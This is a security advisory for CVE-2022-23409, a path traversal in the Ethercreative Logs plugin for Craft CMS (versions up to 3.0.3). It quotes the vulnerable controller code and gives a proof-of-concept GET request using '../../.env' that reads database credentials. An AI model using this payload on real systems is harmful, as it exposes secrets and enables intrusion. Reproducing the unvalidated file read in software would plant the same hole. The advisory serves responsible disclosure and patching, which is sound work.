Authenticated Path Traversal in Ethercreative Logs plugin for Craft CMS

Title

Authenticated Path Traversal

Product

Ethercreative Logs plugin for Craft CMS

Vulnerable Version

<=3.0.3

Fixed Version

>=3.0.4

CVE Number

CVE-2022-23409

Impact

medium

Found

06.07.2021

By

Steffen Rogge (Office Berlin)

The plugin "Logs" provides a functionality to read log files of the Craft CMS system inside the backend of the CMS. As the requested logfile is not properly validated, an attacker is able to request arbitrary files from the underlying file system with the permissions of the web service user.

Vendor description

"A quick and dirty way to access your logs from inside the CP"

As found on the plugin store page: plugins.craftcms.com/logs

Active Installs 4,093 (as of 2021-07-07)


Business recommendation

The vendor provides a patched version v3.0.4 which should be installed immediately.


Vulnerability overview/description

1) Authenticated Path Traversal (CVE-2022-23409)

The plugin "Logs" provides a functionality to read log files of the Craft CMS system inside the backend of the CMS. As the requested logfile is not properly validated, an attacker is able to request arbitrary files from the underlying file system with the permissions of the web service user.


Proof of concept

1) Authenticated Path Traversal (CVE-2022-23409)

As the plugin is installed as an administrator of the system and the function is only accessible after being logged in as an admin, an attacker needs to be authenticated as an administrator in the backend in order to extract the needed "{MD5}_identity" cookie for the crafted request.

The vulnerable endpoint is provided by the plugin under the following path:
https: //vulnerablesite.com/index.php/admin/actions/logs/logs/stream

The vulnerable controller for that endpoint can be found here:

github.com/ethercreative/logs/blob/master/src/Controller.php

The function "actionStream()" provides an endpoint for the Craft CMS and does not validate input values before file content is being read by the function "file_get_contents".

public function actionStream ()
{
    $logsDir = \Craft::getAlias('@storage/logs');
    $logFile = \Craft::$app->request->getParam('log');
    $currentLog = \Craft::$app->request->get('log', $logFile);
    $log = file_get_contents($logsDir . '/' . $currentLog);

    exit($log);
}

A crafted GET parameter with the name "log" can be used to access files on the underlying filesystem with rights as the user executing the web server. In most cases this will be the user "www-data".

In order to read the file ".env" or ".env.php" which contains the environment configuration and as such also the database credentials, the following request can be used:

GET /admin/actions/logs/logs/stream?log=../../.env HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Cookie: 1031b8c41dfff97a311a7ac99863bdc5_identity=<identity_cookie>;

The response then discloses the file content of the file ".env":

HTTP/1.1 200 OK
Date: Thu, 07 Jul 2021 10:08:52 GMT
Server: nginx
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: CraftSessionId=2uisculfj8t9q1tnbiukl6ogjf; path=/; secure; HttpOnly
Content-Length: 1600
Connection: close

[...]
$craftEnvVars = [
    'DB_DRIVER' => 'mysql',
    'DB_SERVER' => '********',
    'DB_USER' => '********',
    'DB_PASSWORD' => '********',
    'DB_DATABASE' => '********',
    'DB_SCHEMA' => 'public',
    'DB_TABLE_PREFIX' => '',
    'DB_PORT' => '********',
    'SECURITY_KEY' => '********',
[...]

 

Vulnerable / tested versions

The following version has been tested which was the latest version available at the time of the test:

  • Version 3.0.3 released on November 25, 2019

  Distributed through the Craft Plugin Store plugins.craftcms.com/logs


Vendor contact timeline

2021-07-07 Contacting vendor through dev@ethercreative.co.uk
2021-07-08 Response from vendor, no encryption available but vendor accepted to be responsible for any risks involved with plaintext communication
2021-07-08 Advisory was sent to vendor unencrypted
2021-07-09 Vendor released a patch for this vulnerability with version 3.0.4 (https://github.com/ethercreative/logs/commit/eb225cc78b1123a10ce2784790f232d71c2066c4)
2021-07-12 Updated Plugin has been tested on an up-to-date CraftCMS installation (CraftCMS 3.7.0, PHP 8, MySQL 8, Logs Plugin 3.0.4)
2022-01-24 Release of security advisory

Solution

The vendor released a patched version 3.0.4 or higher which can be retrieved from their website/github:

plugins.craftcms.com/logs


github.com/ethercreative/logs/commit/eb225cc78b1123a10ce2784790f232d71c2066c4


Workaround

Uninstall/Disable the plugin and access the Craft CMS logs via SSH or other services.


Advisory URL

sec-consult.com/vulnerability-lab/

 

EOF Steffen Rogge (Office Berlin) / @2022

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